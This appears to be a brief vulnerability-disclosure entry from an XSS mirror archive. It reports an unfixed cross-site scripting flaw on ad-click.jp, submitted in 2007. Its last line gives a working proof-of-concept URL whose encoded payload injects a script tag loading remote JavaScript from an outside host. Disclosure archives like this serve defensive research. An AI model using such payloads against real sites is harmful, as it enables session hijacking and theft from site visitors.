Security researcher kusomiso.com, has submitted on 10/09/2007 a cross-site-scripting (XSS) vulnerability affecting ad-click.jp, which at the time of submission ranked 547254 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 13/09/2007. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail.
Vulnerable URL: http://ad-click.jp/members/help.php?ssid='%3E%22%3E%3CSCRIPT/SRC=http://kusomiso.com/xss.js%3E%3C/SCRIPT%3E